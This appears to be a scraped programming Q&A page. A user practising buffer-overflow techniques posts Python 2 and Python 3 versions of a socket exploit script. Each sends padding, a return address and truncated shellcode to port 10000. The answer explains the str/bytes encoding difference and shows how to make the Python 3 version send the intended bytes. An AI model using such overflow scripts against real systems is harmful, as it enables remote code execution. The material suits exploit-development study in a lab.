python 3.x - Difference between Python3 and Python2 - socket.send data -
python 3.x - Difference between Python3 and Python2 - socket.send data -
i'm practicing buffer-overflow techniques , came across odd issue sending socked data.
i have 2 identical codes, except fact in python3 code, changed sock.send encode string (in python2 don't need that)
python2 code:
import socket,sys sock = socket.socket(socket.af_inet, socket.sock_stream) sock.connect ((sys.argv[1], 10000)) buffer = "a"*268 buffer += "\x70\xfb\x22\x00" #payload: buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" ... "\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5") sock.send (buffer) sock.close
python 3 code:
import socket,sys sock = socket.socket(socket.af_inet, socket.sock_stream) sock.connect ((sys.argv[1], 10000)) buffer = "a"*268 buffer += "\x70\xfb\x22\x00" #payload: buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" ... "\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5") sock.send (buffer.encode()) sock.close
i send buffer , check eip/sep values immunity debugger , see i'm getting different values between python2 code , python3 code. how possible??
the buffer same in both of them eip/sep in debugger should same.
in other words, server point of view(which gets socket-data) looks gets different info construction or that.
any ideas?
thanks.
your server , debugger right - buffer content not same.
in both python 2 , 3, if write buffer = "a"*268
, type of buffer str
. however, str
represents is different in 2 versions.
in python 2, str
array of bytes. in python 3, it's sequence of human readable characters, not bytes (what called "unicode string" in python 2)
if farther .encode()
, you'll translate sequence of characters sequence of bytes, using utf-8
. "changes content" of string, speak
what wanted buffer = b"a"*268
, utilize bytes
instead of str
. you'll need prefix concatenated byte sequences b
, too
sockets python-3.x buffer-overflow
Comments
Post a Comment